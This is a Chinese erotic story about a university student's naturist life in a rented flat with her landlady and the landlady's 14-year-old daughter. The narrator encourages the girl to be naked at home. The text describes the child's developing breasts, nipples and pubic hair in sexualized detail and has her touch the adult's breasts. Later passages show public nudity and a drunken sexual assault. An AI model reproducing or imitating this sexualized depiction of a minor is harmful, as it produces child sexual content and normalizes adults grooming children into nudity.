图片载入中

我的天体生活

特大字】 【大字】 【中字】 【小字

“大学全日制本科或以上学历;英语四级水平,六级尤佳;无遗传病和传染病史、无不良嗜好;女性优先考虑……”

看着这则《招租启事》,心里在嘀咕着:“靠!这是在招租还是招聘啊?”

可是近几年市政府一直在进行大面积的旧城改造,城中村越拆越少了,外来者想找自己租得得起的房子已经越来越难,去看看吧?而且招租启示上写着的那租金低得确实让人难以置信,于是我照着地址来到一栋半旧的出租屋。

这栋房子的一楼是一间小卖部,此时里面只有一个女人在看铺,小卖部门口上方一块蓝色招牌印着一枚百事的商标,旁边还有四个大字——“强记士多”。

“嗯,是这里了。”

我抬步跨进去,向那个女人咨询。

原来那女人就是这强记士多的老板娘,而那《招租启事》正是她张贴的。

就在我不知该如何称唿她的时候,见有一个跑进来要买“奇多”

的小孩叫她“琼姨”,于是我便跟着这样称唿她了。

琼姨估计已经四十多岁了,可是身材却丝毫不显得走样,风韵犹存,脸上虽不施粉黛,可是容颜也还尚算俏丽,不难看出,年轻时她一定是个迷死男生的大美人,高耸的酥胸居然把松垮垮的衣服高高地隆起两座小丘,一套宽松的印花棉质居家服照样把琼姨成熟丰腴的身材衬托得煞是诱人。

整体看上去,琼姨给人的感觉就是一个很正经、很守本分、很温柔贤惠的庭主妇。

虽然琼姨给我的第一印象很不错,可是接下来的谈话就……琼姨呀,这到底是房东跟租客在协商租房事宜还是Hr在面试求职者呢?在整个过程中琼姨就跟面试官一样,“简单介绍一下自己”、“什么时候毕业”、“学的是什么专业”、“四级过了没”……就差没有要求带简历了。

郁闷啊!这是搞什么啊?莫名其妙!不过通过谈话我也知道了琼姨的一些情况:琼姨是大型国企的下岗职工;他老公(后来他让我叫他“强叔”)是物流公司的货车司机,经常全国各地到处跑,一个月就回来那么几天;琼姨还有一个女儿叫心怡,今年十四岁,在一间省级重点中学读初二;因为女人过了四十岁就很难再找到工作了,而强叔跑车一个月少说也能赚五六千,如果业务好的话一两万袋袋平安也不成问题,而且夫妻两人还有这栋楼可以收房租,生活可以说是不用愁了,所以琼姨就索性留在家里料理家务,同时开了这间“强记士多”,不为帮补家用,只是让琼姨打发一下时间而已,所以琼姨很自由的,高兴就开铺、不高兴了就关门休息,生活倒也惬意。

唯一让琼姨烦心的是,她的女儿心怡的成绩最近一直在下降,老师都已经通知她去过几次学校沟通了,琼姨也千叮万嘱心怡要好好学习,争取将来能考上这省重点的高中部。

可是劝是劝过了,谈心也谈过、骂也骂过了,可是心怡的成绩依然不见起色,有几次把心怡惹急了还使母女两人的关系闹得很僵,琼姨自己也是半文盲,想教也教不了啊,于是就打算把房子租给一位有文化的大学生,让租客来帮忙辅导一下心怡——哦!原来如此,怪不得那招租启示写得像招聘启示一样了,原来名为招租,实则给自己的女儿招辅导老师。

嘻嘻!请辅导老师不花一分钱还有房租可收,琼姨还挺有生意头脑的嘛!跟着琼姨走上楼去看看,这是一栋五层高的房子,一梯两户,一楼除了把其中一个套间改成“强记士多”

以外还有另一间出租给别人,五楼就是琼姨一家人住的,把两边打通成一个套间,所以有两套厨厕,客厅也特别大,三间睡房——琼姨和强叔住一间、心怡住一间,剩下那一间就租给我了。

我看过房子觉得挺满意,于是当场就付了订金,回宿舍把东西都搬到这里来了。

由小到大都习惯裸居的我跟房东太太住在一起肯定是有诸多不便的,可是为了平时夜晚加班方便也只好将就了,至少搬到这里不用跟宿管大妈抓迷藏(其实最吸引我的是房租确实很便宜)。(一)

第一次见到心怡是在我搬进去住的第一个晚上,一个很甜美的女孩儿,长得很漂亮,十四岁、正值豆蔻年华的她身体已明显发育出女性的性征。

哈!真是把她妈妈所有让人羡慕和垂涎的地方都遗传过来了。

琼姨向她介绍我,说我可以辅导她、她在学习上有什么不懂的地方都可以问我。

可是心怡对我的态度并不友好,爱理不理的。

也难怪,正值青春期的青少年都是叛逆的,我在十三四岁时又何尝不是这样呢?所以对她的无礼我也并不在意,一笑置之。

当晚,琼姨吃完饭就下去看铺了,只留下心怡和我在屋子里。

我走到心怡的房间门前,轻轻敲了敲门,门“嗖”

地开了,看到的是心怡异常不满的眼神和满脸的不悦,然后听到的便是冷冰冰的声音:“咩事啊(有什么事啊)?”

我笑道:“心怡,功课做完了没?有哪里不懂的话随时来问我啊,要不然难题越积越多那……”

“关你咩啊?喺度懒好心咁!(这跟你有什么关系?在这假装好心呢!)”

我还没反应过来,“砰!”

房门已经被用力地关上。

切!真是好心没好报,我还不愿理你呢!碰了一鼻子灰的我忿然回到房间,准备洗澡。

在拿衣服的时候忽然想到,既然琼姨已经下去看铺了,那臭丫头又把房门关得紧紧的,那这屋子里不就相当于没人了吗?想到这里,我决定不拿衣服了,反而先把自己剥个精光再走到浴室去,等一下洗完澡之后也就这么赤条条地回房间。

进了浴室,刚想把门关上,又转念一想:这层是把两个套间打通的,两边各有一个厨房和浴室,我在这边的浴室洗澡那臭丫头就算走出房门,没什么事也应该不会过来这边的。

于是我索性连浴室的门都不关了。

弥漫着芳香的洗发素、柔和滋润的沐浴露,还有那冒着水蒸气的花洒浴,舒服得让我不禁轻轻地哼唱着最温情最惬意的歌谣。

直到我转过身去的时候才发现,那丫头正站在浴室外面目不转睛地盯着我看呢!看着她痴痴地打量着我没有一丝一缕一片布碎遮挡而只挂满水珠的胴体——光滑的后背、屁股、大腿,还有我转过身来之后的乳房、小腹、肚脐和私处的毛丛都在一瞬间被她看光光了!我脸上顿时火辣辣的,都怪自己,刚才洗澡洗得太忘形了,毕竟是在别人家里嘛!我用双手分别罩住自己的两颗乳头,很不好意思地笑笑:“心怡,你要用洗手间吗?”

心怡愣愣地看着我的裸体、微微地摇了摇头,离开了——整个过程都不知道她在想什么。

洗澡之前没有带任何衣物到浴室里。

洗完澡之后,我也没有给自己光熘熘的胴体围上浴巾——反正心怡也是女的,而且刚才都已经被她看了个彻底了,那还有什么顾忌呢?于是我大大方方地就这么全裸着走出去。

心怡还坐在客厅里,我从她身边经过时她稍稍有点呆滞的目光依旧粘在我一丝不挂的身体上,好像我的裸体她少看一眼都是莫大的损失似的,我却装作没留意。

就在我将要走进房门的时候,心怡叫住我了:“烟姐。”

我回过头来应道:“嗯?”

可是她却欲言又止,似乎有什么难言之隐在困扰着她——少女的心事啊,真的很难理解,就连我这个大姐姐也不明白。

我依旧光着身子走到她身边坐下,她低着头眼睛却仍然盯着我的乳房看,我自己也低头看了一下,自己白白嫩嫩的大乳房又挺又丰满,乳头上还挂着晶莹的水滴,确实美。

哼哼!羡慕吧?臭丫头,这样的资本姐有的是!这时心怡开口了,原来,心怡进入青春期后,发觉自己的身体在发生变化的同时,心里也有一些很微妙的感觉和想法,越来越觉得穿着衣服很不舒服,很想脱去身上所有的衣服、解除掉身上所有衣物的束缚,可是自己又觉得女孩儿家坦胸露背的成何体统?更别说赤身裸体了,而且也担心妈妈责骂,所以越来越提不起精神、无法把心思集中在学习上。

心怡眼中闪着泪光,她问我:“烟姐,我是一个坏女生吗?”

我伸手在心怡的后脑上轻抚着:“傻瓜,你怎么会是坏女生呢?”

心怡坚持着:“可是,我真的很厌恶穿着衣服的感觉,很想把身上的衣服都脱光了。我不是一个正经的女孩子,我是那些不三不四不知廉耻的骚女人!”

说着泪水已经流了出来。

我说:“那又怎样呢?人天生下来就是全裸的,有什么不正经呢?”

不知不觉中我洗完澡后湿漉漉的身体已经基本上被吹干,都已经忘了自己是一丝不挂地坐在心怡身边的了,我用手轻轻抹去还挂在乳房上的最后一滴水珠,继续说道:“你不愿穿衣服啊,如果你脱去了衣服更能集中精神学习的话那你以后在家里就不要穿好了。”

“可是……”

“你想啊,你爸爸全国各地到处跑,一整个月也没几天能呆在家,这么辛苦还不是为了供你读书,希望你能考上好的高中、好的大学吗?姐陪你,以后姐就跟你一起脱光光在家!”

心怡噙着泪水看着我,终于一下子扑到我不挂寸缕的怀里,死死抱着我完全赤裸的胴体大哭起来,我只觉得自己两个乳房被心怡的身体紧紧地挤向了两边,而胸前的肌肤已经沾满了心怡的泪水,暖暖的、湿湿的。

好不容易才让心怡止住哭泣,她又盯着我的乳房看了,还用手轻轻地沿着我乳房坚挺的轮廓抚摸着,虽然被她摸得痒痒的怪难受,可是我没有阻止,任由她的指头在我丰满的乳房上游走,乳房上随着手指的走势而凹陷的白嫩肌肤就像被船桨划出一道涟漪的清柔水面。

心怡说:“好美的乳房!烟姐,你的身材真好!”

我笑了:“以你现在的年龄来看你也算发育得很不错了。”

平伏了心怡的情绪后,她便回到她的房间继续做作业,这回她并没有关上房门。

我回到自己的房间正坐着梳头,“烟姐,这道题我不会,给我讲讲好吗?”——这小妮子走路怎么没声音啊?两次都几乎被她吓一跳!就在我转过头去的时候,我愕然了。

眼前的心怡正赤裸着全身站在门口,除了手里拿着一本习题册和白皙纤巧的小脚上穿着一对拖鞋之外,身上完完全全一丝不挂!刚刚发育而微微隆起的乳房、呈现出纯纯粉红色的可爱小乳头、纤细的腰身、平坦的小腹、小妹妹周围那细细软软的毛毛、笔直修长的美腿……确实美!见我有点出神地看着她,心怡满脸羞涩,低下头嗲嗲地说:“干嘛这样看着人家啊?”

我取笑道:“哎哟!怎么不穿衣服呀?不三不四不知廉耻的骚女人可不是正经的女孩子哦!”

身上根本不着寸缕的心怡更是无地自容,脸红红地笑骂道:“切!你现在不也没穿衣服吗?还好意思说人家!”

我笑道:“来,过来坐吧!哪里不懂?”

心怡吐了吐舌头,乖乖地过来坐在了同样没穿任何衣物的我身边,指给我看,我也尽我能力给她讲解。

心怡听懂了之后才光着身子回到隔壁房间去继续做功课。

后来,我索性走到心怡的房间去,当她有不懂的地方我就直接教她。

全身光熘熘地坐在心怡的床上,拿着一本《新望》在翻看,我不时抬头看看心怡,心怡赤裸裸的背影真的很美:一头乌黑亮泽的披肩秀发、光洁滑腻的美背、苗条纤细的腰身、被椅子挤压得有点变形的白皙俏臀,还有那诱人的小腿,勾勒出一个一丝不挂端坐在书桌前写作业的美少女。

看着心怡完全暴露在空气中让人一览无余的美妙胴体散发着这个年龄段的少女特有的青春气息,同时在享受着全裸的自由和快感的我也会心地笑了。

等心怡做完功课的时候我们一起光着全身、赤裸裸地躺在床上又聊了很久,也谈到了很多。

原来,心怡并不是我想象中那么难以相处的。

经过一个晚上没有任何遮掩和隐瞒、“坦诚相对”

的谈心,我们成了无话不说的好朋友。

直到将近十一点我才在心怡的额头上亲了一下然后光着身子到浴室去洗漱,再回到自己的房间睡觉——没有穿上任何衣物,一直以来我都习惯裸睡的,无论在哪里过夜。

不知睡了多久,才迷迷煳煳地听见客厅好像有点响动,估计是琼姨回来了。

奇怪,琼姨怎么这么晚才回来啊,晚上真有那么多人要买东西吗?不过我也没多想,翻了个身,光熘熘的身体换了个姿势搂着被子继续沉沉地睡了过去。 每天琼姨都会早早地起床给心怡做早饭,我知道自从那次之后心怡就开始每个晚上都裸睡,可是早上却会穿得整整齐齐地才出来。

我问心怡为什么要这样——既然睡觉时都是全裸的,为什么在浴室里洗漱、在客厅里吃早饭却要裹得这么严密呢?心怡说,她怕她妈妈接受不了、怕她责骂。

我也只好学她那样每天早上都穿戴整齐才出来,这可苦了我——要在以前,我可是不到准备出门的时候也绝不会穿上任何衣服的呢!不过也没办法,谁叫我在人家的地方租住呢?每天晚上吃过饭琼姨都会下楼去看铺,而当她一出门心怡就会迫不及待地把自己脱个精光——连她洗澡后才换上的吊带小内衣和带花边的小内内也不放过,一并扒掉!并跟我相视一笑。

至于我,当然也不会放过琼姨不在家时那段这么难得的时光了,也迅速给自己解除掉所有衣物的束缚。

而琼姨也基本上每天都很晚才回来,我和心怡也没太在意,估计心怡都已经习惯了。

在琼姨家里住了几天,没什么特别的事发生,直到有一天深夜。

那晚我裸身躺在床上翻来覆去睡不着,肚子也开始“咕咕”

叫了。

于是我便起床拿着一包康师傅到厨房去找热水。

看看闹钟我估计琼姨已经睡了,所以也懒得找衣服穿了,就这么光熘熘地摸黑走出去——我不敢把客厅的灯打开,怕把琼姨惊醒了。

厨房的窗户没有关,我赤裸着全身在厨房里泡着方便面,凉飕飕的微风从窗外淌进来,滑过我身上的每一寸肌肤,我舒服得忍不住轻声唱起歌来。

就在面快要泡好的时候,忽然“啪”

的一声,四周顿时大放光明,照得我眼睛都睁不开了。

我回头一看,发现琼姨就站在厨房门口,看着我一丝不挂的胴体惊讶得瞪大了眼睛、张大了嘴却说不出话来。

而我也惊呆了,在突如其来的灯光里开始慢慢适应过来的眼睛分明地看到了面前的琼姨同样是一丝不挂!琼姨的皮肤很白,硕大的吊钟形乳房有点下垂,但并不影响她的魅力,反而更让人垂涎——不知这是不是就是所谓的“木瓜奶”;虽然生过孩子但妊娠纹也并不明显;腰身有点赘肉,可是并不难看,反而更突显了中年熟妇的丰腴圆润;油黑的毛丛一点也不显杂乱;大腿虽稍嫌略粗,可是还算直挺、结实,总体来说琼姨的身材非常匀称、比例非常标准。

我们就这样相对着呆立在那里,愕然地注视着对方的裸体,从双肩到乳房、小腹、阴毛、大腿、小腿和足部,反反复复地互相打量着。

也不知过了多久,我终于回过神来,首先打破了这一阵漫长而尴尬的沉默和对视,勉强笑了笑,说:“琼姨,吃面吗?”

说着上前两步把刚泡好的方便面递到琼姨跟前,腾腾升起的热气把琼姨被灯管照的发白的大乳房和浅褐色的乳头也蒸得有点湿润了。

琼姨说了句“不了,谢谢。”

却伸过手来接了,似乎还没从震惊中清醒过来。

她双手捧着面,眼睛却依然盯着我全裸着的身体不放,似乎已经忘了此时的她自己也同样是一丝不挂地暴露着自己的豪乳和光着屁股。

我又泡了一个方便面,端出到客厅来——既然琼姨已经看到我的裸体了,而且她自己也全裸着呢,所以我也就不穿衣服了——连用块布遮一下也没有。

这时琼姨已经把客厅的灯管也打开了,坐在餐桌前吃着面——她也仍然没有拿衣服来穿上或者找什么东西来遮挡一下胴体的意思,神态自若得像平常穿着衣服时一样。

看来琼姨已经从惊讶里回复平静了,抬头见我出来,笑了一下,指了指她对面的椅子:“坐吧。”

我也笑了笑,在琼姨对面坐了下来,开始吃面,当光熘熘的屁股刚一触到椅子的板面时,冰冰凉凉的,那种感觉舒服极了。

一个美熟妇、一个美少女,面对面赤身裸体地坐着吃宵夜,此时的琼姨神态和举止跟平时一样,很正经、很本分、很温柔、很端庄,唯一不同的是,此时很正经很本分很温柔很端庄的琼姨是一丝不挂的,毫无保留地把自己全身上下每一个部位都彻底暴露得一览无遗。

我首先开口了:“琼姨……”

“哎,别再叫我琼姨啦,被你叫得感觉自己都显老了——就叫琼姐好啦!”

琼姨佯嗔道,胸前的乳房也随着她的身体荡起了微微的颤动。

气氛顿时轻松起来,我笑了:“呵呵!琼姐,你干嘛三更半夜的脱光了衣服跑出来呀?”

琼姐反击道:“那你呢,你又干嘛‘剥光猪’满屋跑啊?”

我和琼姐相视一笑,似乎有种“一切尽在不言中”

的感觉。

两个人都渐渐放松了下来,再也不把在对方面前一丝不挂、暴露得一览无余当一回事了,反而越来越享受这种互相信任、没有任何戒备的亲近感。

琼姨又说:“烟女,你有男朋友吗?呵呵,像你这么个美人儿不应该没有吧?刚才琼姐都被你迷住了。”

我被夸得心里甜滋滋的,学着心怡的样子吐了吐舌头:“什么嘛?心怡更漂亮呢!琼姐,有个这么漂亮的闺女,你年轻时肯定也是一个大美人!”

对此琼姐并不谦虚:“嗯,说着也是。我做闺女时可是闻名遐迩的靓女呢!追求者可多了,附近几条村的小伙子请媒人前来说媒的、亲自上门提亲的真是多得数不清!”

可能是坐得累了,琼姐放下筷子挺了挺赤裸裸的腰板、伸了个懒腰,然后用手撑着头在桌子上伏了下来,不知是有意还是无意,琼姐那对雪白的大乳房也搁到餐桌上了。

她满脸慵懒的表情笑了笑:“说真的,要不是爸妈包办的婚姻,我还真不肯嫁给那个衰佬呢!”

刚吃完面条的我也放下筷子,全身光熘熘地伏在桌子上继续跟琼姐聊天。

原来,琼姐在出嫁前就很有暴露的欲望了,无奈那时母亲管束得严,而且风气和人的观念也不是一般的保守,后来嫁给了强叔,强叔也是个很传统很保守的男人,肯定也接受不了自己媳妇在家里光着身子走来走去,再后来强叔考了货车驾照,长期在外,本来自己在家是可以无拘无束的了,可是那时心怡已经很大了,在自己的亲生女儿面前赤身裸体的,成何体统?让她看到也不好啊,于是只好每天早上等心怡一出了门去上学便把自己脱个精光,约摸着在心怡下午放学回到家之前穿好衣服,和每天晚上吃完饭之后都在士多店里待得晚一点,估计心怡已经睡了才回来,一进门就卸去身上所有的负担、解除身上所有的束缚,独自一人一丝不挂地收拾东西、清扫屋子、洗澡、洗衣服、晾衣服……享受一天之中最惬意最美好的天体时光,没想到今晚半夜起来上厕所就恰巧在厨房里碰见同样是一丝不挂的我。

我听着琼姐讲话,眼睛出神地看着她那对还摆放在桌面上的大乳房,浅褐色的乳晕和乳头一直在向着我呢。

我又问:“琼姐,那你想裸体便裸嘛!干嘛要瞒着心怡呢?大家都是女的,有什么关系?”

琼姐叹了口气:“唉,不行。让心怡看见我赤身裸体地到处瞎逛,那我这做母亲的还有什么威信?心怡这个女儿呀,真是越来越不听话了,近两年还经常跟我顶嘴呢!现在已经这么难以管束,如果让她知道自己有一个不穿衣服的妈妈,你说她会怎么想?”

我心里在暗暗偷笑:“你女儿趁你不在家时也在裸居呢,还用担心让她看见你的裸体?”

但我嘴上却说:“其实心怡这女孩很懂事的,你不跟她沟通又怎么知道她接受不了你在家里脱光光呢?”

其实我是想说服她们母女两人都放下隔阂,一起享受天体的自由。

可我还是不敢告诉琼姐其实她女儿也跟她有着同样的癖好。

第二天一早,我起床之后寻思着既然琼姐和心怡都已经知道我有裸睡和裸居的习惯,也都看过我的裸体了,那我在她们面前还穿什么衣服呢?反正自己舒服就好。

于是就这么赤裸着全身打开房门走了出去。

心怡这时正坐在客厅里吃早饭呢,见我一丝不挂地走出来,眼神中似乎有点愕然,同时又有点妒忌——大概是羡慕我能够当着她妈妈的面不穿任何衣服又不用担心被她妈妈责骂吧,而琼姐也只是微微一笑,并没有说什么。

我跟平常一样跟她们打招唿:“琼姐早!心怡,早啊!”

心怡嘟着嘴应道:“早啊。”

继续低头吃早餐,琼姐微笑着向我点了点头,目光在我赤裸裸的每一寸肌肤上游走。

我若无其事地走到浴室去洗漱,心里特别激动——我又可以跟以往一样,在家里脱干净所有衣服,过着无拘无束的天体生活了!从那以后,我在新的居住环境里又回复了以往的生活。

琼姐不在的时候,我跟心怡一起裸;心怡不在的时候,我跟琼姐一起裸;琼姐和心怡都在家的时候,她们穿得整整齐齐的,我一个人裸——在外人面前可以大胆地解放自己,而面对着骨肉至亲却要百般掩饰,你说这母女两人怪不怪?很多个深夜当心怡睡了以后,我曾跟琼姐提议一起脱光衣服出去逛逛,可琼姐说什么也不肯,说怕被人遇见——尤其是熟人。

唉,琼姐还是放不开啊。

那天,我下课之后并没有回到琼姐的出租屋,打算在宿舍跟姐们挤床铺算了,因为那天强叔出差回来了。

强叔开货车总要全国各地到处跑,一整个月也没几天在家,他和琼姐夫妇两人也是聚少离多。

所以只要强叔在家,我就每天晚上都要听着隔壁的床“吱呀吱呀”

地响和琼姐“嗯嗯啊啊”

地叫。

最初那几次觉得挺有趣的,有时还会听着琼姐的闷哼自个儿“指头告了消乏”,可是后来就越听越烦了,也不好意思向琼姐提意见,那就只好回来跟姐们挤被窝啦。

晚上宿舍熄灯以后,我赤裸着身体钻进被窝,紧紧地搂住同样一丝不挂的好姐们兰兰正要睡觉。

忽然来短信了,我一看,原来是公司首席摄影师的助手兼爱徒刘助理:“大波妹,把上次给你保管的那CF卡拿过来,马上!”

现在几点啦大哥,还让不让人活啊?我顺手回复道:“在考试,十七校联考,重要着呢!”

放下手机,又搂着我亲爱的兰兰正准备双双裸睡,不想手机又震了一下:“哈!波大无脑,晚上十点多还考什么试啊?快点!别再骗哥哥了啊。”

唉,没办法,给他送过去吧,可CF卡还放在琼姐家里呢,那也只好回去拿了,真倒霉!回到琼姐那栋楼,上了五楼,正准备找钥匙开门,门却忽然“嗖”

地开了。

强叔提着出差时才会带的旅行箱包一阵风似地走出来,满脸愠怒。

我吓了一跳,连忙打招唿:“强叔。”

强叔“嗯”

了一声,目不斜视地径直走了,看也没看我一眼。

我满腹狐疑,强叔怎么了?走进屋子,里面黑洞洞的,只有琼姐的房间还亮着灯,而且房门也开着。

我走过去看看,只见琼姐全身赤裸、双手抱着腿坐在床上,不时地抽噎,脸上还挂着两道泪痕。

我轻轻地走进去,在她全裸的身体旁边坐下,试探着问她:“琼姐,怎么了?”

琼姐并没回答,却狠狠地自言自语:“欺负女人的男人都该死!哼,惹了老娘生气还想肏老娘的屄?休想!”

听了琼姐的话我已猜到八九分了,同时又觉得好笑——这琼姐说话还真粗俗!我搂着她柔软的腰身把头枕在她滑腻的肩头上,轻声地开导和安慰了她好久好久,这才让她止住了哭泣。

过后,我又提议:“强叔已经走了,不如我陪你出去逛逛吧——就这样!”

琼姨转过头来望着我,目光里充满了不可思议。

我又摇着琼姐赤裸的身躯,嗲嗲地央求道:“琼姐,来嘛!就出去走走——难道强叔欺负你,你就憋在这里生闷气不成?要不,我陪你啊!”

琼姐那对吊钟形的大乳房也被我摇得晃啊晃的,她低头思索了一下,终于下定了决心:“好!老娘的身体爱给谁看就给谁看,那个死佬想肏老娘的屄?偏不给!”

我高兴了,连忙也脱干净了身上所有的衣物,拉着琼姐的手:“走!”

走到门口,我笑嘻嘻地对琼姐说:“虽然我们全身上下的衣服已经脱个精光了,可是既然要裸便要裸得彻底呀!”

于是把脚上的拖鞋也踢掉了,琼姐笑了笑,也跟着把自己白嫩光洁的双脚相继地从拖鞋里退了出来。

这下,我们便由头到脚都裸得彻彻底底了。

原来琼姐带着泪花笑起来还真楚楚动人呢!尤其是现在这个身无寸缕的琼姐。

身上、腿上、脚上什么也没有,光在手腕上系个钱包和钥匙就出发了。

打开门,我们全裸着自己的胴体一步一步地向楼下走去,脚掌的肌肤碰到冰凉的地面,那种一激灵的快感从脚底直冲心扉,我跟琼姐都忍不住“哼哼哼”

地笑了起来。

来到了一楼,我走在前头“咔”

地一声打开铁闸便冲了出去。

哇,太爽了!午夜的凉风抚摸遍了我身上的每一寸肌肤,在户外裸体的感觉绝不是裸居所能比拟的。

而被凉悠悠的晚风一吹,我的头脑也忽然清醒了:我今晚回来的目的是要把那CF卡拿回公司给刘助理啊!怎么就跟琼姐脱光光去逛街了?呵,不管了,好不容易才把琼姐光着身子哄出来呢!不好意思啦刘助理,今晚你这个班算是白加了。

这时,同样是全身光熘熘的琼姐也已经从楼道里走出来了:“烟女,在想什么呢?”

我一笑:“没什么,走吧!”

也许是第一次的缘故吧,琼姐还有点迟疑地站在那里,一手罩住自己的一个乳头、一手捂住阴部。

我走过去拉住她的手,用力一扯:“走吧——”

琼姐便被我硬拉着走了。

就这样,两个一丝不挂的女人,挺着两对大乳房、扭着两个大屁股开始了午夜全裸的冒险历程。

城中村的小巷里虽然装有路灯,可是安装了就完事,基本上都没人管的,所以很多路灯坏了、电灯泡被偷了都没有人来修理。

狭长又四通八达的巷道里有些地方会有昏暗的灯光,有的地方却漆黑一片,这就更增加我跟琼姐裸奔的刺激性和安全性了——在有灯光的地方可以大方地展示自己赤裸裸的胴体,发现有人之后也可以马上跑到黑暗处躲起来。

一路上都没有人,只有两次远远地见到三四个联防队员在巡逻,也幸好我反应快,在他们还没发现的时候我就已经拉着琼姐躲进了黑暗处的角落里。

更庆幸琼姐是跟着我一起的,要是只有她一个人的话,恐怕她的裸体早被看光光了,搞不好还很可能会就这么一丝不挂地被带回去问话呢,然后第二天肯定就有一条爆炸性新闻轰动全村、全市甚至全国、全世界了(现在的网络这么发达,一个身材火爆的美妇人半夜出来裸奔的新闻一天之内传遍世界真的一点也不奇怪)。

在小巷里裸逛了好一会儿,离琼姐的那栋出租屋越来越远了,琼姐光着身子经过一段时间全裸探险的刺激之后,心情稍稍好了些,但仍然可以看出她对今晚跟强叔之间那些不愉快的事还没释怀。

这时,我们不知不觉间已经全裸着身子走到巷口处了。

巷口外面便是大街,大街上的店铺全都关门了,只有巷口对面的一间发廊还在营业。

透过玻璃可以看到,发廊里的灯光非常幽暗,里面大概坐着六七个“发廊妹”

吧,个个浓妆艳抹、衣着暴露、长发披肩、身材修长苗条、胸部很有料,一举一动一个娇笑都充满了骚气和风尘味。

一看就知道这不是一般的发廊了,可是三更半夜在大街上竟敢这样公然开门营业,估计是交了保护费的吧?看着那间发廊,我忽然心念一动,想到了一个更大胆的玩法。

我悄声对琼姐说:“琼姐,我的头发有点长了。陪我去理个发吧?”

琼姐吓了一跳:“你疯啦?”

其实琼姐的担心并不是没道理的,虽然已是深夜,但大街上不时还会有夜归的居民来往的,而且那两排路灯每一盏都亮着,连绵贯穿整条大街,如果当时正赤身裸体的我们被看到了那是无处可藏身的。

我央求道:“来嘛!我的同学说,失恋了、跟男朋友吵架了或者遇到其它感情上的问题,最好就是去换个发型。琼姐,你现在去理个发、转个发型,我保证你明天一早醒来便什么不开心的事都抛诸脑后了!”

琼姐的乳房、屁股和腰间薄薄的赘肉都在微微地颤抖,不难看出她赤裸裸的胴体在浑身哆嗦着。

听了我的话琼姐还是不肯,反驳说:“我在这里住了这么多年,那间发廊是什么货色我还不清楚?就是要理发也得去一间正经点的啊。”

我笑了:“嘿嘿!你看看你现在这样子,那些‘正经’的发廊怎么接受得了啊?再说,现在这时间还有哪间‘正经’的发廊在营业呢?”

琼姐明显被我说动了,右手轻轻托了托白皙硕大的右乳:“这……”

“来嘛——”

我又硬拉她过去。

凑准一个机会,我拉着琼姐的手,一起光熘熘地小跑过去,蓦地推开发廊的门。

见有人开门进来,那些发廊女一起把目光投过来,当看到站在门口的是两个一丝不挂而且身材和相貌均丝毫不逊色于自己的女人,立刻全呆住了。

呵呵,一群衣着暴露的发廊女瞬间被两个一丝不挂的女客人秒杀,那感觉应该很震撼吧?见她们这般反应,我还故意高高地挺起自己丰满白嫩的乳房,向她们展示着傲人的资本。

而琼姐在一众发廊女的目光聚焦之下就明显表现得很不自然了,又下意识地用双手摸了摸自己吊钟形的硕大乳房。

当然了,中年熟妇的豪放巨乳又岂是这些还在吃青春饭的小姑娘可以匹敌的?我问:“请问,可以给我们理个发吗?”

有个发廊女这才回过神来,连忙说:“可以,请坐!想要理个什么发型?”

我跟琼姐分别裸身在镜子前的理发转椅上躺了下来,开始让她们给我们理发。

我原来并没打算要理发的,所以随便把头发修短一点就算了,很快便搞定。

但我建议琼姐彻底地换个新发型,那要花上的时间就比我多好多了。

我理完了头发就坐到一边去,从一大堆报刊里翻出一本八卦杂志看了起来,边等琼姐边享受全身赤裸裸地在发廊里理发的新鲜与刺激。

就在这时候,两个身上只穿着情趣内衣的女孩分别挽着两个男人从后面有说有笑地走了出来,那两个男人一看见我和琼姐立刻停住脚,极其贪婪地不断打量着我们的胴体,还咽了咽口水——呵呵,刚才在房间里那两个“发廊妹”

还没让你们看够吗,估计你们刚才也不仅仅是“看”

了吧?正在理发的琼姐虽然脖子上围着理发用的围布,可是围布并不长,而且那转椅的靠背又调得太低,以致让全裸着接受理发服务的琼姐几乎是一直躺着的,私处的毛丛和修长的美腿完全暴露在两个陌生男人(而且是好色的男人)的眼皮底下。

看得出来,琼姐紧张得浑身都在发抖了,紧闭着双眼不敢看他们一下,不知道那对被理发围布覆盖着的大乳房有没有随着琼姐身躯的发抖而一起在抖动?我倒比琼姐有经验,看到就看到呗,既然他们来光顾这些地方,难道还怕他们会把在这里见到我们一丝不挂地在理发的事到处说?依旧赤身裸体地翘着二郎腿、端着那本《6周刊》若无其事地看着,丝毫不理会他们——当然,如果他们敢拿出手机来拍照或拍视频的话,那本姑娘就决不肯跟他们罢休了!那两个男人足足看了几分钟,才跟那两个发廊女依依惜别,约定下次“再续情缘”,走出了门口还忍不住回过头来再看了看我们那两副早已被他们一览无余的胴体。

等琼姐理完发之后,已经是凌晨了,我们也玩够了,于是便往回走。

一路上也没什么事,眼看还有几十米就到家了,我们都松了一口气,琼姐还轻轻拍了拍光滑洁白的胸口,挂在胸前那对完全暴露在空气里的大乳房也被拍得一荡一荡的,琼姐跟我相视一笑,浑身上下都放松了下来。

就在这时,琼姐忽然“啊”

地惊叫了一声,同时我也感到有个人在背后死死地抱住了我。

我转过脸一看,原来就是刚才在发廊里的那两个男人——满身酒气,说起话来舌头都打结了。

这时琼姐已经被那个男人按倒在地上,她回过神来之后拼命在挣扎,但又不敢大声唿救——当然了,琼姐身上什么也没穿呢!那男人狞笑道:“嘿嘿!这两个浪货真是骚到家了,不穿衣服就到处乱跑!”

我身后的那个男人答道:“不只骚,还正点得很呢!”

我已顾不上自己还是赤身裸体的了,立马转身,一记重重的勾拳,“嘭”

地一声,那傻帽惨叫也没一声便应声倒下——嘿嘿,算你们两个流氓倒霉了,姐可是学过咏春的,虽然学艺不精,但要收拾两个连走路都走不稳的酒鬼还是绰绰有余的。

狠狠地放到了一个之后,再看看琼姐,琼姐已经完全被制服了,被那男人死死压住的赤裸胴体毫无反抗之力,又不敢大声求救,只得任由那该死的色狼对她上下其手。

我急了,连忙全裸着冲过去用手箍住他的脖子向后把他拖倒在地,将他的头夹在两条大腿之间(也不顾得自己那时还是一丝不挂的了),左手固定住他的下巴,右手在他头上挥拳猛击——这正是《叶问2》里丹哥痛扁龙卷风时所使的招数。

嘻嘻,果然好使!那色狼被揍得“哇哇”

直叫。

由于我跟琼姐都没穿衣服,如果邻居听到声音出来看热闹或者有联防队员闻声赶来那就糟了,所以我马上住了手。

以自己完全赤裸的胴体压住他不让他动弹,低声骂道:“王八蛋,你记住今晚的教训……”

见他的眼睛还不老实,我怒不可遏,又抽了他一个巴掌:“别光盯着老娘的奶子看,认住姑奶奶的脸!以后你可放聪明点了!”

他呻吟着、舌头依旧打着结:“嗯,嗯!我知道了……小姐饶、饶命啊!”

我放开他:“滚!”

